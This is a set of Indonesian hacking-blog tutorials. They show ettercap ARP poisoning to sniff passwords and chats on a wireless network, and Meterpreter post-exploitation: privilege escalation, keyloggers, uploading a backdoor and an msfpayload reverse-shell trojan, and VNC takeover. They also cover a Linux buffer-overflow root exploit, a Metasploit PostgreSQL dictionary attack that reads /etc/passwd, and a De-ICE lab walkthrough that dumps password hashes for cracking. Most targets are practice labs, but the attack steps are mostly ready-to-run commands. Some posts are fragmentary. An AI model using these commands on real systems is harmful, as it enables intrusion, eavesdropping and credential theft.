Showing posts with label Information Gathering. Show all posts
Showing posts with label Information Gathering. Show all posts

8.12.11

Kekuatan MITM

MITM merupakan kepanjangan dari Man In The Middle, atau sering dikenal sebagai ARP poisoning. Adalah salah satu pelanggaran hak penggunaan dan keamanan jaringan, dengan mencuri paket, dan mengganti setiap public key packet. Sudah diterangkan sebelumnya mengenai MITM dalam blog ini, anda bisa membaca kronologi MITM di sini.

Dalam kesempatan ini, saya akan menjelaskan, betapa pentingnya MITM dalam process sniffing. Kali ini saya menggunakan tool yang bernama Etherape, dan untuk melakukan MITM, saya menggunakan Ettecap.

Awalnya, saya akan memonitoring jaringan dengan Ettherape. Ini unik, karena Etherape akan menunjukan sebuah topologi jaringan, dan memberikan informasi traffic pada sebuah jaringan.


Setelah terhubung dengan wireless local area network, saya membuka etherape. Dan melakukan monitoring jaringan.

Berikut screen shoot Etherape sebelum proses MITM dijalankan.



Terlihat jelas disini bahwa hanya ada beberapa host yang tampak. Namun etherape masih dapat memberikan informasi, kemana host pergi. Dan tidak banyak traffic yang tertangkap. Lalu bagaimana jika MITM dijalankan?

Buka terminal, lalu masukan perintah:

ettercap -T -q -i wlan0 -M ARP:REMOTE // //


Kemudian ini yang terjadi pada etherape.


Woooow. Traffic dimana-mana. Dengan menggunakan wireshark, kita dapat menangkap paket-paket ini, termasuk password, isi chatting, isi status facebook / twitter, dan lain-lain.

Selamat mencoba.

Created by:
red-dragon


Supported by:
blu sploit


Thanks to:
My partners
My Girlfriend

27.11.11

Messing With Meterpreter V3

Ini adalah versi ketiga dari Messing With Meterpreter (mengacau bersama meterpreter). Versi pertama dan kedua dapat anda temukan dalam daftar isi di blog ini.

Kali ini, saya akan memberikan beberapa perintah meterpreter yang sering saya gunakan dalam aktivitas exploitasi.

1. Information gathering + Privilege Escalation

a. sysinfo : berfungsi untuk menampilkan informasi dari system yang tereksploitasi.
Output:

meterpreter > sysinfo
Computer        : ROOT-11E5DB48A8
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

b. pwd : berfungsi untuk menampilkan informasi process work directory.
Output:

meterpreter > pwd
C:\Program Files\Mozilla Firefox

c. getuid : berfungsi untuk menampilkan user id dari system yang tereksploitasi.
Output:

meterpreter > getuid 
Server username: ROOT-11E5DB48A8\Administrator

d. getsystem : berfungsi untuk mengangkat hak istimewa (privilege escalation) meterpreter.

meterpreter > getsystem 
...got system (via technique 1).

Setelah getsystem dijalankan, maka user id menjadi:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM



e. ps : berfungsi untuk menampilkan daftar process yang sedang berjalan pada system yang terksploitasi.


f. migrate : berfungsi untuk memindahkan service meterpreter ke process lain.

meterpreter > migrate 632
[*] Migrating to 632...
[*] Migration completed successfully.

Note: saya berpindah ke process 632 a.k.a winlogon.exe

g.keyscan_start : berfungsi untuk merekam keystroke keyboard sesuai dengan process id meterpreter

meterpreter > keyscan_start
Starting the keystroke sniffer...

Note: keyscan_start dalam tutorial kali ini, saya merekan keystroke keyboard pada process 632 a.k.a winlogon.exe (sesuai dengan step f).

h. keyscan dump : berfungsi untuk menampilkan hasil dari keyscan_start

meterpreter > keyscan_dump
Dumping captured keystrokes...
red-dragon <Return> 



Note: saya berhasil mengambil password administrator =)

i. ipconfig : berfungsi untuk menampilkan configurasi IP milik system yang tereksploitasi

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:50:56:28:dc:a0
IP Address  : 172.16.60.128
Netmask     : 255.255.255.0




2. Perintah UPLOAD

Saya akan mencoba mengupload 2 backdoor ke dalam system. Sehingga saya dapat mengeksploitasi system tanpa perlu repot-repot.

a. upload Secure Back Door a.k.a sbd.exe

meterpreter > upload /pentest/windows-binaries/tools/sbd.exe C://WINDOWS//system32
[*] uploading  : /pentest/windows-binaries/tools/sbd.exe -> C://WINDOWS//system32
[*] uploaded   : /pentest/windows-binaries/tools/sbd.exe -> C://WINDOWS//system32\sbd.exe

Note: saya mengupload sbd.exe yang berada di direktory /pentest/windows-binaries/tools/sbd.exe ke direktoy C://WINDOWS//system32

Menjalankan Secure Back Door

meterpreter > execute -H -f "C:/WINDOWS/system32/sbd.exe -q -r 10 -k reddragon -e cmd -p 1000 192.168.1.3"
Process 3364 created.

Mengakses Secure Back Door

root@red-dragon:~# wine /pentest/windows-binaries/tools/sbd.exe -l -k reddragon -p 1000
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\TEMP\gDzCKIoJEf>


Note: saya berhasil masuk ke dalam konsol command prompt tanpa metasploit =)

b. Upload Trojan Horse!

Pertama, buat terlebih dahulu trojan horse milik anda.

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=2000 X > /root/evil-trojan.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: {"LHOST"=>"192.168.1.3", "LPORT"=>"2000"}

Note: Saya membuat trojan horse dalam direktori root, dimana victim akan menghubungi 192.168.1.3 a.k.a attacker pada port 2000. 

Upload Trojan Horse dengan konsol meterpreter.

meterpreter > upload /root/evil-trojan.exe C://WINDOWS//system32
[*] uploading  : /root/evil-trojan.exe -> C://WINDOWS//system32
[*] uploaded   : /root/evil-trojan.exe -> C://WINDOWS//system32\evil-trojan.exe

Menjalankan tugas multi handler untuk membuka meterpreter sesi baru.

Dalam konsol metasploit. Masukan perintah berikut:

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 2000
LPORT => 2000
msf  exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.3:2000 
[*] Starting the payload handler...

Mengeksekusi evil-trojan.exe.

Note: kali ini, mengeksekusi evil-trojan.exe tidak bisa dilakukan dengan konsol meterpreter layaknya Secure Backdoor. Kita membutuhkan konsol shell a.k.a command prompt untuk mengeksekusinya. Dan pastikan process directory anda berada pada C:/WINDOWS/system32. Untuk mengecek process work directory, gunakan perintah pwd. Jika anda tidak berada pada pwd C:/WINDOWS/system32, lakukan tahap privilege escalation pada BAB 1 tahap E dan F. Ketika mengeksekusi perintah ps, perhatikan baris path. Dan temukan process yang bersumber dari direktori C:/WINDOWS/system32. Dalam kasus ini, saya melakukan migrate ke process 1072 a.k.a svchost.exe.

Buka command prompt dengan perintah:

meterpreter > shell
Process 136 created.
Channel 3 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Kemudian eksekusi evil-trojan milik kita

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>evil-trojan.exe
evil-trojan.exe

Maka meterpreter sesi baru akan terbuka.

[*] Sending stage (752128 bytes) to 192.168.1.3
exit
[*] Meterpreter session 3 opened (192.168.1.3:2000 -> 192.168.1.3:47571) at 2011-11-27 10:45:25 +0700


3. Remote Desktop

Saya yakin anda mengincar yang satu ini. Langsung saja.

meterpreter > run vnc 
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.3 LPORT=4545)
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\eZeNeVFVL.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.3:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "root-11e5db48a8"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using shared memory PutImage
Same machine: preferring raw encoding


4. Key-logger V2

Kali ini berbeda dengan keyscan_start di tahap sebelumnya. Key-logger ini merekam setiap keystroke tanpa memandang pwd meteterpreter.

meterpreter > run keylogrecorder 
[*] explorer.exe Process found, migrating into 2532
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.1.3_20111127.3406.txt
[*] Recording 

Untuk melihat hasil Key-logger, buka file /root/.msf4/logs/scripts/keylogrecorder/192.168.1.3_20111127.3406.txt sesuai dengan output run keylogrecorder.



Mana yang anda suka? =)

created by:
red-dragon

supported by:
Blue Dragon

Loved by:
Yoshephine Handini

21.11.11

From Bug to 0day Against LINUX

Sebelumnya pernah dijelaskan bagaimana caranya mengaplikasikan teori from bug to 0day yang dijelaskan red-dragon. Sekarang giliran saya, blue-dragon, akan memberi tau bagaimana cara mengaplikasikan teori from bug to 0day pada LINUX. Check this out.

Pertama-tama saya mau spoiler, kalau tutorial kali ini akan sangat panjang. Untuk itu, saya akan menghilangkan tag CODE kali ini. Yang ada hanyalah skrinsut dan penjelasan step by step.

Yang kalian butuhkan hanyalah:
1. Web server http daemon (Apache dsb)
2. Jmpbuster (http://sprunge.us/XCCi)
3. Gnome Debugger / Gdb (gdb)

Kondisi PC saya:
1. Menggunakan VMWare
2. Mengakses ssh ke PC server (Kioptrix LV 3)

Tutorial:

Pertama koneksikan PC kamu melalui SSH. Untuk mencari tau bagaimana saya mencari password ssh, kamu bisa cek di sini.
[Pic]

Setelah terkoneksi, cari informasi yang berada di dalam server.
[Pic]


Ada yang menarik, yaitu untuk mencapai akses root, kita harus menggunakan perintah 'sudo ht' Mari kita cari keberadaan file 'ht' dan apakah server memiliki gdb. Lalu cari tau tentang 'sudo' pada server ini.
[Tampilan 'ht']

[Pic]

Semuanya sudah lengkap, sekarang saatnya menulis shellcode. Yang pertama, kamu harus melakukan debugging, jika di sini menggunakan OllyDBG, maka kita sekarang menggunakan gdb yang di attach ke program ht.
[Pic]

Perintah ini akan membuat program ht menuliskan huruf "A" pada memori 4400 dengan kode python. Hasilnya bug (tinggal 0day-nya nih :D)
[Pic]

Keliatan, kalo memori 4400 memang vulnerable, saatnya minta bantuan metasploit untuk meng-generate memori buffer overflow 4400.

[Pic]

Copas hasil keluaran ke dalam shellcode:
[Struktur awal shellcode]

#/usr/bin/python
buf="kode_pattern_create"
buf="kode_pattern_offset"
eip="kode_memori_eip"
nop="kode_memori_NOP"

shellcode=(kode_jahat)

print(buf+eip+nop+shellcode) --> semuanya

Awal shellcode
[Pic]

Setelah dimasukkan kode buffer overflow:
[Pic]

Langsung kita debugging lagi shellcode ini untuk menentukan alamat register eip.
[Pic]

Hasil debugging:
[Pic]

Catat info register eip, lalu kita generate offset-nya dengan bantuan metasploit.
[Pic]

Catat kode offset buffer overflow eip untuk digunakan nanti. Sekarang kita mencari alamt eip, dengan jmp buster. Pertama cari jmp buster di internet, lalu letakkan di folder /var/www kamu. Aktifkan apache dan coba download kode jmpbuster dari folder kita:

[Web JmpBuster]

[Download JmpBuster ke /var/www]

[Aktifkan Apache]

[Download JmpBuster dari target]

[Compile JmpBuster]

Setelah JmpBuster di compile, maka sekarang saatnya berburu kode eip. Caranya:

$ ./jmpbuster /usr/local/bin/ht | more

[Pic]

Tekan "Enter" sampai kamu nemuin jmp *%esp  yang warnanya berbeda (= Catat address-nya dan letakkan di shellcode kita.

[Pic]

Cara mencatat kode buf ke dua:
"\x41"*4091
Dimana x41 adalah "A" dan 4091 adalah alamat yang mengalami crash, kita harus mengambil alih halaman ini dengan menentukan lokasi NOP. Penulisan NOP:
0xaabbccdd ===> \xdd\xcc\xbb\xaa

Sekarang kita tentukan shellcode. Pertama saya mencoba menggunakan shikata_ga_nai sebagai encoder, tapi malahan ada address yang nilainya \x00 dimana address ini tidak bisa menginjeksi. Akhirnya saya gunakan encoder alpha_mixed. Setelah generate, gunakan kodenya sebagai shellcode dengan terlebih dulu menghapus tanda "+" dan satu spasi di belakang tanda "+"
[Generating shellcode]

[Tampilan akhir shellcode]

Setelah shellcode selesai, eksekusi shellcode dengan izin root dan program ht.
[Pic]

Hasilnya:
[Pic]

Ketik "reset" (tidak akan ada karakter yang keluar). lalu tekan enter, masukkan "ansi" sebagai jawaban default. Lalu tekan enter. Setelah ini, karakter ketikkan kamu akan selalu muncul tiap tombol keyboard ditekan. Kelar nge-root, sekarang testing!!!
[Pic]

Cari shadownya:
[Pic]

Written by:
blue-dragon

Supported by:
red-dragon

19.11.11

METASPLOIT vs PostGreSQL

Metasploit merupakan tool pentest yang paling terkenal di dunia. Modules yang disediakan sangat lengkap, dan tools yang diberikan juga mumpuni untuk digunakan dalam penulisan shellcode. Banyak modules yang bisa digunakan, termasuk bruteforce dan dictionary attack untuk menyerang login server. Kali ini saya akan mendemonstrasikan bagaimana cara menggunakan metasploit untuk menyerang postgresql secara dictionary attack.

Oke, langsung saja ke modulnya. Let's kicking ass!!!
Hal yang wajib pertama kali dilakukan adalah mencari informasi terget. Lakukan ini dengan nmap.
root@bt:~# nmap 192.168.223.1-255

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2011-11-20 21:38 WIT
Nmap scan report for 192.168.223.1
Host is up (0.0000080s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
443/tcp open  https
902/tcp open  iss-realsecure

Nmap scan report for 192.168.223.128
Host is up (0.00090s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
5432/tcp open  postgresql
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:72:06:C5 (VMware)

Nmap scan report for 192.168.223.254
Host is up (0.000052s latency).
All 1000 scanned ports on 192.168.223.254 are filtered
MAC Address: 00:50:56:E9:C3:C6 (VMware)

Nmap done: 255 IP addresses (3 hosts up) scanned in 10.44 seconds

[screenshot]

Terlihat dari hasil scan, kita memiliki korban yang membuka port 5432 untuk postgresql. Lalu gunakan nmap untuk mencari tau lebih jauh tentang vulnerabilitas yang mungkin ada.

root@bt:~# nmap -sS -sV -p 1-65535 -vv 192.168.223.128

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2011-11-20 21:39 WIT
NSE: Loaded 11 scripts for scanning.
Initiating ARP Ping Scan at 21:39
Scanning 192.168.223.128 [1 port]
Completed ARP Ping Scan at 21:39, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:39
Completed Parallel DNS resolution of 1 host. at 21:39, 0.42s elapsed
Initiating SYN Stealth Scan at 21:39
Scanning 192.168.223.128 [65535 ports]
[snip...]
Nmap scan report for 192.168.223.128
Host is up (0.0018s latency).
Scanned at 2011-11-20 21:39:23 WIT for 16s
Not shown: 65522 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
[snip...]
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:72:06:C5 (VMware)
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:kernel


Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds
           Raw packets sent: 65787 (2.895MB) | Rcvd: 65536 (2.621MB)

[screenshot]

Sudah dapat dipastikan kalau ternyata korban memang memiliki postgresql dengan versi 8.3 (=

Langsung saja buka metasploit. Lalu cari modul yang mampu menyerang postgresql.

root@bt:~# msfconsole

                                                                                                                                                    
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM



       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 764 exploits - 404 auxiliary - 118 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r14291 updated today (2011.11.20)

msf > search postgres



Perintah ini berfungsi untuk mencari modul yang berkaitan dengan PostGre.

[screenshot]

Setelah itu gunakan modul: auxiliary/scanner/postgres/postgres_login

Lalu tampilkan option yang bisa digunakan dalam modul ini:


msf > use auxiliary/scanner/postgres/postgres_login                                                                                                                                            
msf  auxiliary(postgres_login) > show options
kemudian, masukkan konfigurasinya:
msf  auxiliary(postgres_login) > set RHOSTS 192.168.223.128
RHOSTS => 192.168.223.128



Perhatikan yang ada tanda + berwarna hijau. Metasploit telah berhasil menemukan login PostGre dengan:

[*] 192.168.223.128:5432 Postgres - [05/21] - Trying username:'postgres' with password:'postgres' on database 'template1'
[+] 192.168.223.128:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
[+] 192.168.223.128:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.)


Username = postgres
Password = postgres

Mari kita cek keberhasilannya dengan login ke PostgreSQL

root@bt:~# psql -h 192.168.223.128 --username=postgres --password

Kemudian akan keluar:

Password for user postgres:

Masukan password berdasarkan hasil dictionary attack metasploit, yaitu -> postgres

psql (8.4.8, server 8.3.1)
WARNING: psql version 8.4, server version 8.3.
         Some psql features might not work.
SSL connection (cipher: DHE-RSA-AES256-SHA, bits: 256)
Type "help" for help.

postgres=#

Lihat, kita sudah terkoneksi!
[screenshot]

Berhasil! Lalu selanjutnya apa? Mari kita coba mengambil semua password yang ada dalam sistem!

postgres=# \d pg_ ###TEKAN TAB DUA KALI###
Display all 152 possibilities? (y or n)


Maka akan muncul semua modul postgres ->
[screenshot]

Lihat, ada pg_catalog. dimana ada tanda "." di belakangnya yang memungkinkan untuk memasukkan relasi tabel lainnya. Kemudian kita lihat relasi antara pg_catalog dengan pg_shadow.

postgres=# \d pg_catalog.pg_shadow
    View "pg_catalog.pg_shadow"
   Column    |  Type   | Modifiers
-------------+---------+-----------
 usename     | name    |
 usesysid    | oid     |
 usecreatedb | boolean |
 usesuper    | boolean |
 usecatupd   | boolean |
 passwd      | text    |
 valuntil    | abstime |
 useconfig   | text[]  |
View definition:
 SELECT pg_authid.rolname AS usename, pg_authid.oid AS usesysid, pg_authid.rolcreatedb AS usecreatedb, pg_authid.rolsuper AS usesuper, pg_authid.rolcatupdate AS usecatupd, pg_authid.rolpassword AS passwd, pg_authid.rolvaliduntil::abstime AS valuntil, pg_authid.rolconfig AS useconfig
   FROM pg_authid
  WHERE pg_authid.rolcanlogin;


[screnshot]


Untuk dumping:

postgres=# SELECT * FROM pg_shadow;


[screenshot]

Lalu, masukkan query ini untuk melihat shadow secara keseluruhan:

Pertama, kita pilih dulu database yang ingin kita gunakan:

postgres=# SELECT current_database();
 current_database
------------------
 postgres
(1 row)


[screenshot]


Lalu kita buat tabel sendiri yang berisikan shadow password:

postgres=# CREATE TABLE bluedragon (input TEXT); COPY bluedragon FROM '/etc/passwd'; SELECT input FROM bluedragon;

Hasilnya:

SYNTAX:

Creative:
blue-dragon & red-dragon

28.10.11

Uji Penetrasi pada De-ICE Level #1 Disk #2 (De-Ice.net-1.110-1.1)

Setelah melakukan instalasi De-ICE, sekarang kita akan melakukan uji penetrasi atau penetration testing De-ICE. Ini akan sangat sangat sangat panjang, so siapin fisik (sedia kopi, rokok, kacang) sama mental (tidur cukup, jangan cari ribut sama pacar) buat baca modul hacking kali ini. Langsung aja, jalankan De-ICE pada VMware dan buka terminal. Berikut modulnya.

Gambar De-ICE

Module:
root@bt5r1:~# nmap -n 192.168.1.1-255
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-27 14:07 WIT
Nmap scan report for 192.168.1.2
Host is up (0.0000080s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
902/tcp  open  iss-realsecure
9876/tcp open  sd

Nmap scan report for 192.168.1.110
Host is up (0.16s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
631/tcp open  ipp
MAC Address: 00:0C:29:FB:68:A2 (VMware)

Nmap scan report for 192.168.1.254
Host is up (0.00047s latency).
All 1000 scanned ports on 192.168.1.254 are filtered
MAC Address: 00:50:56:F4:F6:BF (VMware)

Nmap done: 255 IP addresses (3 hosts up) scanned in 10.42 seconds

Dari sini kita bisa melihat, 192.168.1.2 adalah IP kita, berarti 192.168.1.110 adalah IP De-ICE. Setelah mengetahui IP target, maka langkah berikutnya adalah mencari informasi lebih jauh tentang port yang terbuka dan service yang kemungkinan berjalan.

Module:
root@bt5r1:~# nmap -n -sS -sV -O 192.168.1.110

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-27 14:07 WIT
Nmap scan report for 192.168.1.110
Host is up (0.034s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 2.0.4
22/tcp  open  ssh?
80/tcp  open  http    Apache httpd 2.2.4 ((Unix) mod_ssl/2.2.4 OpenSSL/0.9.8b DAV/2)
631/tcp open  ipp     CUPS 1.1
MAC Address: 00:0C:29:FB:68:A2 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.31
Network Distance: 1 hop
Service Info: OS: Unix

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.34 seconds

Dari hasil scan, dapat dilihat bahwa korban mempunyai port ftp, ssh, dan httpd (Apache = Web Server) yang aktif. Informasi terasa sangat kurang, untuk itu, mari kita login ftp sebagai akun anonim untuk mencari tau lebih jauh lagi.

Module:
root@bt5r1:~# ftp 192.168.1.110
Connected to 192.168.1.110.
220 (vsFTPd 2.0.4)
Name (192.168.1.110:root): anonymous
331 Please specify the password.
Password: (biarkan kosong lalu tekan "Enter")
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Sampai di sini kita telah berhasil masuk ke ftp, selanjutnya, kita akan mengeksplorasi struktur direktori sistem.

Modul:
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 0        0              80 Mar 15  2007 .
drwxr-xr-x    4 0        0              80 Mar 15  2007 ..
drwxr-xr-x    7 1000     513           160 Mar 15  2007 download
drwxrwxrwx    2 0        0              60 Feb 26  2007 incoming
226 Directory send OK.
ftp> cd download
250 Directory successfully changed.
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    7 1000     513           160 Mar 15  2007 .
drwxr-xr-x    4 0        0              80 Mar 15  2007 ..
drwxr-xr-x    6 1000     513           340 Mar 15  2007 etc
drwxr-xr-x    4 1000     513           100 Mar 15  2007 opt
drwxr-xr-x   10 1000     513           400 Mar 15  2007 root
drwxr-xr-x    5 1000     513           120 Mar 15  2007 usr
drwxr-xr-x    3 1000     513            80 Mar 15  2007 var
226 Directory send OK.
ftp> cd etc
250 Directory successfully changed.
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    6 1000     513           340 Mar 15  2007 .
drwxr-xr-x    7 1000     513           160 Mar 15  2007 ..
drwxr-xr-x    4 1000     513           160 Mar 15  2007 X11
-rw-r--r--    1 1000     513        362436 Mar 03  2007 core
drwxr-xr-x    2 1000     513           100 Mar 15  2007 fonts
-rw-r--r--    1 1000     513           780 Apr 30  2005 hosts
-rw-r--r--    1 1000     513           718 Jul 03  2005 inputrc
-rw-r--r--    1 1000     513          1296 Jun 10  2006 issue
[snip...]
226 Directory send OK.

Lihat ada file core yang menyimpan data core dump (memory, storage, dan debugging dump). Ambil file ini untuk dianalisa, lalu kita logout ftp client.

Module:
ftp> get core
local: core remote: core
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for core (362436 bytes).
226 File send OK.
362436 bytes received in 0.03 secs (13026.4 kB/s)
ftp> exit
221 Goodbye.

Mari kita lihat file core ini. File yang kita download via ftp tadi akan otomatis tersimpat di direktori home kita, yaitu /root/

Module:
root@bt5r1:~# strings core 
tdxt
CORE
CORE
test.pl
/usr/bin/perl ./test.pl -d 
CORE
CORE
FLINUX
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
ocks
CPLUS_INCLUDE_PATH=/usr/lib/qt/include:/usr/lib/qt/include
MANPATH=/usr/local/man:/usr/man:/usr/X11R6/man:/opt/kde/man:/usr/lib/qt/doc/man
KDE_MULTIHEAD=false
HZ=100
HOSTNAME=slax.slackware-live.cd
SHELL=/bin/bash
TERM=xterm
GTK2_RC_FILES=/etc/gtk-2.0/gtkrc:/root/.gtkrc-2.0:/root/.kde/share/config/gtkrc-2.0
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc:/root/.kde/share/config/gtkrc
GS_LIB=/root/.fonts
WINDOWID=25165831
HUSHLOGIN=FALSE
QTDIR=/usr/lib/qt
LC_ALL=C
KDE_FULL_SESSION=true
USER=root
[snip...]
root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::bin:*:9797:0:::::daemon:*:9797:0:::::adm:*:9797:0:::::lp:*:9797:0:::::sync:*:9797:0:::::shutdown:*:9797:0:::::halt:*:9797:0:::::mail:*:9797:0:::::news:*:9797:0:::::uucp:*:9797:0:::::operator:*:9797:0:::::games:*:9797:0:::::ftp:*:9797:0:::::smmsp:*:9797:0:::::mysql:*:9797:0:::::rpc:*:9797:0:::::sshd:*:9797:0:::::gdm:*:9797:0:::::pop:*:9797:0:::::nobody:*:9797:0:::::aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:99999:7:::bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0:99999:7:::ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::

Wow! Lihat huruf yang dicetak tebal berwarna merah. Itu adalah hash string password milik user De-ICE. Lalu apa selanjutnya? Kita harus melakukan cracking attack password. Ini bisa dilakukan dengan progran John The Ripper. Kita membutuhkan sebuah dictionary untuk membantu proses cracking password. Kamu bisa mendapatkan dictionary-nya di sini.

Module:
root@bt5r1:~# cd dictionaries/
root@bt5r1:~/dictionaries# cat common-1.txt common-2.txt common-3.txt common-4.txt wordlist.txt >>  /root/passwords
root@bt5r1:~/dictionaries# cd ~

Modul di atas dilakukan untuk melakukan compiling dictionary common-1.txt common-2.txt common-3.txt common-4.txt wordlist.txt
menjadi passwords di direktori /root/

Oke, kita telah mendapatkan passwordnya, sekarang, kita perlu menyusun string shadow, bermodal dari dump core yang tadi kita ambil.

Module:
root@bt5r1:~# nano /root/shadow

Setelah itu copy-paste dump core yang tercetak merah di atas:

root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::bin:*:9797:0:::::daemon:*:9797:0:::::adm:*:9797:0:::::lp:*:9797:0:::::sync:*:9797:0:::::shutdown:*:9797:0:::::halt:*:9797:0:::::mail:*:9797:0:::::news:*:9797:0:::::uucp:*:9797:0:::::operator:*:9797:0:::::games:*:9797:0:::::ftp:*:9797:0:::::smmsp:*:9797:0:::::mysql:*:9797:0:::::rpc:*:9797:0:::::sshd:*:9797:0:::::gdm:*:9797:0:::::pop:*:9797:0:::::nobody:*:9797:0:::::aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:99999:7:::bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0:99999:7:::ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::

Buang bagian merah di atas dan susun serapih mungkin menjadi:

root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::
aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:99999:7:::
bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0:99999:7:::
ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::

Oke, kita sudah punya shadow dari empat user, yaitu:
root, aadams, bbanter, ccoffee

